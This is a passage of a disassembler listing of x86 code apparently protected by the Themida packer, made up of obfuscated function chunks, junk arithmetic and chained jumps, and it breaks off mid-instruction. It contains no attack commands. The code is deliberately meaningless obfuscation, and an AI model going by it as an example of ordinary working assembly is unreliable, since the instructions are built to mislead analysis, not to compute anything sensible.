--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56541E: ; CODE XREF: sub_56755A+3533j add esp, 4 push 4651h jmp loc_55B972 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56542E proc near ; CODE XREF: sub_56755A+34Fj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055B874 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056419F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005643FF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565DCA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566396 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056925B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C14A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056D833 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056EF58 SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_566396 sub_56542E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565439: ; CODE XREF: sub_56755A-2F17j push 3B79h mov [esp+1Ah+var_1C+2], esi mov esi, 3CBD0EACh shl esi, 3 jmp loc_560D3D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56544E: ; CODE XREF: Themida_:00560D2Ej xor cl, bh pop ebx xor cl, bl push dword ptr [esp] pop ebx sub esp, 4 mov [esp], eax mov eax, esp jmp loc_566A0A ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56546D: ; CODE XREF: Themida_:0055C32Dj add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_55DF5D ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_565485: ; CODE XREF: Themida_:0056DDCDj mov edx, 4 add eax, edx pop edx push esi mov esi, 4 add eax, 2F0B0D90h sub eax, esi sub eax, 2F0B0D90h jmp loc_55F025 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5654A4: ; CODE XREF: sub_56755A+699Dj neg esi jmp loc_567DA3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov ecx, [esp] sub esp, 4 mov [esp], edx jmp loc_56C5E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_5654B9: ; CODE XREF: sub_565C4A+901Cj sub ecx, eax jmp loc_5612E6 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5654C0: ; CODE XREF: sub_56755A+460Cj push edx jmp loc_56F87B ; --------------------------------------------------------------------------- loc_5654C6: ; CODE XREF: sub_56755A-23B0j shl edx, 3 neg edx jmp loc_55CC4D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5654D0: ; CODE XREF: Themida_:0056B2A8j push ecx mov ecx, 4 add edi, ecx pop ecx push 6E74h mov [esp], esi jmp loc_5648F6 ; --------------------------------------------------------------------------- loc_5654E6: ; CODE XREF: Themida_:0055F84Cj mov edi, 72DC110Bh sub esi, edi pop edi add esi, ebp push eax mov eax, 72DC110Bh add esi, eax jmp loc_56ED6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5654FD: ; CODE XREF: sub_56755A-B3C6j add ecx, edx pop edx add ecx, 4 push 7946h jmp loc_56A66E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565510: ; CODE XREF: Themida_:00565991j mov ebp, [esp] add esp, 4 pop ebx inc ebp jmp loc_5636EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_56551D: ; CODE XREF: sub_55C719+8j push [esp+4+var_4] pop ebp add esp, 4 sub ecx, ebp sub ecx, 796D1819h pop ebp push 6A98h mov [esp+0], ebp push ebx push esp push [esp+8+var_8] mov ebx, [esp+0Ch+var_C] push esi mov esi, esp push ebp mov ebp, 52922787h jmp loc_55B83C ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_56554B: ; CODE XREF: Themida_:0056B003j not edi inc edi or edi, 1652263Ch sub edi, 0D218B03Ch mov eax, edi jmp loc_566A72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_565561: ; CODE XREF: sub_56F13C-F336j mov ecx, [esp-4+arg_0] push ebp push esp jmp loc_56ED89 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56556B: ; CODE XREF: sub_56755A-2C6j mov edi, 4B260BFFh push eax mov eax, 753702D2h jmp loc_5648D6 ; --------------------------------------------------------------------------- loc_56557B: ; CODE XREF: sub_56755A+1BE0j mov edx, esp jmp loc_56533E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_565582: ; CODE XREF: sub_561ED8+1EB8j xor dh, bh mov ebx, [esp-0Ah+arg_4+2] jmp loc_565749 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; =============== S U B R O U T I N E ======================================= sub_56558C proc near ; CODE XREF: sub_55DF57+1j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 274171D3h xor [esp+4], ebp pop ebp mov eax, [esp+0] add esp, 4 jmp sub_56E55E sub_56558C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_5655A7: ; CODE XREF: sub_5636A9+9490j dec dl shl dl, 7 push eax mov ah, 3Ch add dl, ah push [esp+4+var_4] pop eax push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] jmp loc_55FE9F ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5655CC: ; CODE XREF: sub_56755A+427Dj add eax, ebx push ebx mov ebx, 29EC6320h add ebx, 28EB2A40h sub esp, 4 mov [esp+14h+var_14], esi jmp loc_56E972 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5655E5: ; CODE XREF: Themida_:00569DC7j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_566533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EAC4 loc_5655F6: ; CODE XREF: sub_55EAC4+Aj push [esp+8+var_8] pop ebx jmp sub_55DD27 ; END OF FUNCTION CHUNK FOR sub_55EAC4 ; --------------------------------------------------------------------------- loc_5655FF: ; CODE XREF: Themida_:0056B07Bj add esi, 3E223EF2h pop ebp sub esi, 18B49E44h mov edi, esi mov esi, [esp] add esp, 4 sub edi, 0FFFFFFFFh shl edi, 8 jmp loc_55D2F2 ; --------------------------------------------------------------------------- loc_565622: ; CODE XREF: Themida_:005691A3j add ecx, 271C16DCh add ecx, 4CCC58CAh push edi push ecx mov ecx, 4E0A0A34h shr ecx, 3 neg ecx add ecx, 43CD5ABAh mov edi, ecx pop ecx push edi jmp loc_562BEF ; --------------------------------------------------------------------------- loc_565649: ; CODE XREF: Themida_:0056652Ej add ebx, eax push dword ptr [esp] pop eax jmp loc_56A099 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_565654: ; CODE XREF: sub_56F13C-3E23j xor ebp, ecx xor ecx, ebp not ebp xchg ebp, ecx dec ecx xor ecx, 0AC88CA0Fh jmp loc_55FE04 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- loc_565668: ; CODE XREF: Themida_:00561A2Bj mov esp, [esp] mov [esp], edx push esp mov edx, [esp] push ecx mov ecx, esp push eax jmp loc_55E420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56567B: ; CODE XREF: sub_56755A-BAB1j mov [esp+10h+var_10], ebx push ecx mov ecx, 43D478FAh mov ebx, ecx jmp loc_55C7D9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56568B: ; CODE XREF: Themida_:0056E6DAj mov ebp, 13691EBAh sub [esp+4], ebp pop ebp jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56569A: ; CODE XREF: Themida_:005706C2j push bx mov bh, 0B9h jmp loc_56E7C1 ; --------------------------------------------------------------------------- loc_5656A3: ; CODE XREF: Themida_:0055EA51j sub esp, 4 mov [esp], edx jmp loc_567757 ; --------------------------------------------------------------------------- loc_5656B1: ; CODE XREF: Themida_:0056AF7Dj pop ebp jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5656B7: ; CODE XREF: Themida_:0056B671j mov [esp], ecx mov ecx, 169C25A7h mov ebx, 24552D6Bh add ebx, ecx pop ecx neg ebx shl ebx, 2 jmp loc_56F067 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_5656D1: ; CODE XREF: sub_55DA88+6C4Bj add esp, 4 sub esp, 4 mov [esp+0], edx jmp sub_56B812 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- loc_5656E2: ; CODE XREF: Themida_:005636F2j add edx, 4 sub edx, 4 jmp loc_5607C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_5656F3: ; CODE XREF: sub_566504+46B3j add ebx, esi sub ebx, 69B96BB9h pop esi xor ebx, 88F1E11h or ebx, 24CA2357h xor ebx, 0EF429C4Fh jmp loc_56866B ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565713: ; CODE XREF: sub_56755A+8ADCj push ecx push [esp+18h+var_14] pop ecx pop [esp+18h+var_18] mov esp, [esp+14h+var_14] mov [esp+14h+var_14], edx sub esp, 4 mov [esp+18h+var_18], eax jmp loc_56792C ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56572D proc near ; CODE XREF: sub_566894+7EB9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00564260 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056A6E7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056DA40 SIZE 00000007 BYTES push ebp mov ebp, 163A2D87h shr ebp, 6 and ebp, 449C3CC4h and ebp, 786D2752h neg ebp jmp loc_564260 sub_56572D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_565749: ; CODE XREF: sub_561ED8+36AFj add esp, 4 xor bh, dh push [esp-0Eh+arg_8+2] pop edx add esp, 4 jmp loc_569D45 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_56575D: ; CODE XREF: Themida_:00563257j pop edi jmp loc_56442A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565763: ; CODE XREF: sub_56755A+623Dj push eax mov eax, esp add eax, 4 jmp sub_5696A6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565770: ; CODE XREF: Themida_:0056EDE9j pop edx jmp loc_563B4D ; --------------------------------------------------------------------------- loc_565776: ; CODE XREF: Themida_:0055D6A1j mov ebp, 6C737D09h add ebx, ebp pop ebp add ebx, 747868E9h push esi mov esi, 3D98028Fh inc esi xor esi, 73C85A95h sub ebx, esi pop esi add edi, ebx pop ebx sub edi, 5CA63EE8h jmp loc_562A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_5657A2: ; CODE XREF: sub_56E55E-1008j add ebx, edi pop edi sub ebx, edi sub ebx, 705470Ch mov edi, [esp+10h+var_10] add esp, 4 jmp loc_55C027 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- loc_5657BB: ; CODE XREF: Themida_:0055BBD6j add edx, 4 xchg edx, [esp] jmp loc_563E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_5657C6: ; CODE XREF: sub_562F50-57F1j dec edx not edx jmp loc_5667E4 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_5657CE: ; CODE XREF: Themida_:005683FEj mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp] pop esp pop small word ptr [esp] mov bp, [esp] jmp loc_56CD6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5657EA: ; CODE XREF: sub_56755A+406Cj sub al, 7Dh add al, 0EDh sub al, bl sub al, 0EDh add al, 7Dh push dx mov dl, 0D4h sub al, 29h sub al, dl add al, 29h mov dx, word ptr [esp+1Eh+var_20+2] add esp, 2 jmp loc_564304 ; --------------------------------------------------------------------------- loc_56580A: ; CODE XREF: sub_56755A-61A2j xor esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] push 7165h mov [esp-4+arg_0], ebx mov ebx, 18D42492h add edx, 300E7329h sub edx, 27945F60h sub edx, ebx jmp loc_56BC46 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_565830: ; CODE XREF: sub_562F50-938j add ecx, 70C1203h sub ecx, eax sub ecx, 70C1203h mov eax, [esp+0] add esp, 4 mov edx, [esp-4+arg_0] push 1FE4h mov [esp+0], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp rep movsd add esp, [edx+38h] push 7987h mov [esp+0], eax push edx mov edx, 35474E29h push eax mov eax, 0BA405D6h jmp loc_55D75A ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56587F: ; CODE XREF: sub_56755A-27BAj not ecx sub ecx, 0FFFFFFFFh shl ecx, 4 not ecx not ecx shr ecx, 8 sub ecx, 0A25E747Fh jmp loc_55E189 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56589C: ; CODE XREF: sub_56F7FC-1C1Fj pop edx pop edx xor edx, 29AC0F22h pop eax jmp loc_56B538 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5658AA: ; CODE XREF: sub_56755A+56EFj add edi, 0B0B2448Fh add edx, edi pop edi add ebx, edx pop edx sub ebx, 56C65502h pop esi push eax jmp sub_562462 ; --------------------------------------------------------------------------- loc_5658C3: ; CODE XREF: sub_56755A+1A2Cj add esp, 4 push eax mov eax, 5A0608EEh jmp loc_56DC36 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_56B0CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5658DE: ; CODE XREF: sub_56755A-9654j xor [esp+0Eh+var_10+2], ebx jmp loc_55C377 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5658E6: ; CODE XREF: Themida_:0056B0A0j mov edi, edx pop edx not edi add edi, 3F83400Ch add ebp, edi jmp loc_56E3A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_5658F8: ; CODE XREF: sub_56F653-6AACj shr dl, 1 xor dl, 1Eh jmp loc_561D7A ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DD27 loc_565902: ; CODE XREF: sub_55DD27+4B52j mov ebx, [esp+4+var_4] push esi jmp loc_56FCF3 ; END OF FUNCTION CHUNK FOR sub_55DD27 ; --------------------------------------------------------------------------- loc_56590B: ; CODE XREF: Themida_:0056907Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_560932 ; --------------------------------------------------------------------------- loc_565923: ; CODE XREF: Themida_:0056E80Ej mov ecx, [esp] add esp, 4 shl eax, 5 push 2D1Bh mov [esp], ebp sub esp, 4 jmp loc_565BA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56593C: ; CODE XREF: sub_56755A+6FFFj add [esp+0Eh+var_10+2], 4 pop edi jmp loc_566EA1 ; --------------------------------------------------------------------------- loc_565946: ; CODE XREF: sub_56755A-5B8Aj pop ebx sub cl, 0D9h push eax mov eax, esp jmp loc_561F39 ; --------------------------------------------------------------------------- loc_565952: ; CODE XREF: sub_56755A+B11j and al, 0F2h and al, 0A6h add al, 1 jmp loc_55BA03 ; --------------------------------------------------------------------------- loc_56595D: ; CODE XREF: sub_56755A+4BD8j pop ebp add ebx, 6D27306Ch push eax mov eax, 23CE2DB4h jmp loc_562B8B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56596F: ; CODE XREF: Themida_:0055CCFEj sub ax, 1362h pop si add ax, 5AC0h sub ax, 7617h sub ax, 47C1h jmp loc_565ECC ; --------------------------------------------------------------------------- loc_565986: ; CODE XREF: Themida_:0056C786j push dword ptr [esp] pop ebp push ebp jmp loc_55D325 ; --------------------------------------------------------------------------- loc_565990: ; CODE XREF: Themida_:0056384Cj push ebx jmp loc_565510 ; =============== S U B R O U T I N E ======================================= sub_565996 proc near ; CODE XREF: sub_56755A+3A33j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BCAA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00560162 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005603AF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00560598 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566C02 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056DA35 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F528 SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], esp push ecx mov ecx, 4 add [esp+8+var_4], 54475C35h add [esp+8+var_4], ecx sub [esp+8+var_4], 54475C35h jmp loc_560598 sub_565996 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5659BE: ; CODE XREF: sub_56755A-92C7j add esp, 4 jmp loc_56D80E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_5659C9: ; CODE XREF: sub_56667A-73A5j add edi, 0BF5C69D2h mov edx, edi jmp loc_563C77 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562462 loc_5659D6: ; CODE XREF: sub_562462+6j mov ebp, 2 mov eax, ebp jmp loc_55DED1 ; END OF FUNCTION CHUNK FOR sub_562462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_5659E2: ; CODE XREF: sub_56E89A-257Bj pop ebp pop ecx push [esp+4+var_4] pop edx add esp, 4 jmp loc_56FD23 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C92 loc_5659F0: ; CODE XREF: sub_565C92+3j mov [esp+4+var_4], ebx jmp loc_56498F ; END OF FUNCTION CHUNK FOR sub_565C92 ; --------------------------------------------------------------------------- loc_5659F8: ; CODE XREF: Themida_:0055EF10j pop esp mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5666DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_565A08: ; CODE XREF: sub_56F7FC-B801j push edi push esi mov esi, 0F00144h mov edi, esi pop esi xor edx, edi jmp loc_56066D ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5622B3 loc_565A19: ; CODE XREF: sub_5622B3+17j xchg ebx, [esp+4+var_4] pop esp mov [esp+0], ebx push 787Ch mov [esp+4+var_4], ecx jmp sub_561D98 ; END OF FUNCTION CHUNK FOR sub_5622B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565A2D: ; CODE XREF: sub_56755A+8424j mov cl, dh pop edx add al, cl pop ecx jmp loc_565A9D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_565A38: ; CODE XREF: sub_563973+33F1j pop ebx add edx, 1D8B1DF9h add edx, edi sub edx, 1D8B1DF9h push ecx mov ecx, 1C7B6B10h sub edx, ecx jmp loc_563895 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565A54: ; CODE XREF: sub_56755A+486Ej xchg eax, [esp-8+arg_4] pop esp jmp sub_56A161 ; --------------------------------------------------------------------------- loc_565A5D: ; CODE XREF: sub_56755A+A00j mov ebx, 246A21A6h jmp loc_5698A5 ; --------------------------------------------------------------------------- loc_565A67: ; CODE XREF: sub_56755A+723Ej push esp mov edx, [esp-8+arg_4] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push [esp-4+arg_4] pop ebp pop [esp-4+arg_0] pop esp jmp loc_56E190 ; --------------------------------------------------------------------------- loc_565A8C: ; CODE XREF: sub_56755A-6E73j pop edi mov esi, [esp+4+var_4] add esp, 4 add edx, eax jmp loc_56009C ; --------------------------------------------------------------------------- loc_565A9D: ; CODE XREF: sub_56755A-1B27j xor al, 0F0h and bl, al pop eax jmp loc_566907 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565AA7: ; CODE XREF: Themida_:005697FCj sub edi, 8A40B751h xor edx, edi pop edi jmp loc_568EEA ; --------------------------------------------------------------------------- loc_565AB5: ; CODE XREF: Themida_:00560FD2j sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax jmp loc_55BB4E ; --------------------------------------------------------------------------- loc_565ACE: ; CODE XREF: Themida_:0055D224j imul ecx, eax push ecx pushf jmp loc_561FD3 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 push 5062h mov [esp], ecx push 2485h mov [esp], edi jmp loc_56A1D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565AFA: ; CODE XREF: sub_56755A-B8F8j add esi, 4 add esi, 4 xchg esi, [esp+1Ah+var_1C+2] pop esp shl ecx, 1 add ecx, 0FFFFFFFFh shl ecx, 1 dec ecx sub esp, 4 mov [esp+1Ah+var_1C+2], ebx mov ebx, 4940C28Ah add ecx, ebx pop ebx jmp loc_568169 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_565B25 proc near ; CODE XREF: sub_566DC6-4927j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561528 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005699EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D65B SIZE 00000037 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 18330214h push 3D65h mov [esp+8+var_8], ebp push ebx push ebp mov ebp, 16BB0BE3h jmp loc_5699EB sub_565B25 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_565B47: ; CODE XREF: sub_56D600-1E04j pop ecx jmp sub_56B5E8 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565B4D: ; CODE XREF: sub_56755A+2E6Aj and edx, 47AE27A1h sub edx, 72800FDh add edi, edx pop edx xchg edi, [esp+12h+var_14+2] mov esp, [esp+12h+var_14+2] loc_565B62: ; CODE XREF: Themida_:00568D27j push edx mov edx, eax jmp loc_5645EE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56885A loc_565B6A: ; CODE XREF: sub_56885A-18EFj mov ebp, 4 add edi, ebp pop ebp jmp loc_5672D0 ; END OF FUNCTION CHUNK FOR sub_56885A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_565B87: ; CODE XREF: Themida_:005636BEj add edx, 4A3D0869h or esi, edx pop edx sub esi, 0CBB6E33h jmp loc_55E9D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_565B9B: ; CODE XREF: sub_560B67+B48Fj xor eax, ecx push eax push ebp jmp loc_566E51 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- loc_565BA4: ; CODE XREF: Themida_:00565937j mov [esp], esi jmp loc_56B40D ; --------------------------------------------------------------------------- loc_565BAC: ; CODE XREF: Themida_:00561FDAj neg ebp dec ebp jmp loc_55CFA4 ; --------------------------------------------------------------------------- loc_565BB4: ; CODE XREF: Themida_:00564C0Bj pop ebp sub ecx, 58511E99h shl ecx, 3 xor ecx, 7ED5B2AEh sub esi, ecx jmp loc_56630A ; --------------------------------------------------------------------------- loc_565BCB: ; CODE XREF: Themida_:0055F684j mov ebx, ecx pop ecx push eax jmp loc_566783 ; --------------------------------------------------------------------------- loc_565BD4: ; CODE XREF: Themida_:0055B7E3j pop eax inc eax xor eax, 0DFFEF7F0h mov edi, eax pop eax add ebx, edi jmp loc_56ADE0 ; --------------------------------------------------------------------------- loc_565BE5: ; CODE XREF: Themida_:0056D128j sub edx, 40214289h add ecx, edx pop edx push esi mov esi, 331F0908h xchg ebx, esi not ebx jmp loc_568317 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_565BFD: ; CODE XREF: sub_560B67+C797j push esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] jmp loc_55FD8F ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560FD7 loc_565C0B: ; CODE XREF: sub_560FD7-46FAj pop edx mov ebx, [esp+4+var_4] add esp, 4 xchg dh, cl dec dh jmp loc_567924 ; END OF FUNCTION CHUNK FOR sub_560FD7 ; --------------------------------------------------------------------------- loc_565C1B: ; CODE XREF: Themida_:0056CC0Cj sub al, 0A2h jmp loc_56A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565C22: ; CODE XREF: sub_56755A+C48j mov eax, [esp+16h+var_18+2] jmp loc_55D629 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_565C2A: ; CODE XREF: Themida_:00563C69j add esp, 4 push eax mov eax, 43B64F51h jmp loc_55CEA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_565C3B: ; CODE XREF: sub_56755A-3557j xchg edi, [esp+0] pop esp add edi, 4 jmp loc_55E6B3 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_565C4A proc near ; CODE XREF: sub_56755A+27ACj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055BDA9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055CDB7 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0055F36E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005612E6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561AD6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564AC7 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005654B9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056BABD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056EC61 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F56D SIZE 00000009 BYTES push ebx mov ebx, 5E37677Dh sub esi, ebx jmp loc_561AD6 sub_565C4A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_565C57: ; CODE XREF: Themida_:0055BD5Bj mov bh, 0A1h jmp loc_55FECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_565C5E: ; CODE XREF: sub_56E89A+1D88j jmp loc_570536 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_565C63: ; CODE XREF: Themida_:00562814j add esp, 4 add eax, ebx push 603Dh mov [esp], ecx mov ecx, 541856E0h or ecx, 5B593E3Fh jmp loc_56F2CC ; --------------------------------------------------------------------------- loc_565C80: ; CODE XREF: Themida_:0055D11Bj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_56D904 ; =============== S U B R O U T I N E ======================================= sub_565C92 proc near ; CODE XREF: sub_56BFA1+1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056498F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005659F0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005666F4 SIZE 0000000F BYTES sub esp, 4 jmp loc_5659F0 sub_565C92 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_565C9A: ; CODE XREF: sub_56F7FC-41E4j push 55B2h mov [esp-4+arg_0], ecx mov ecx, 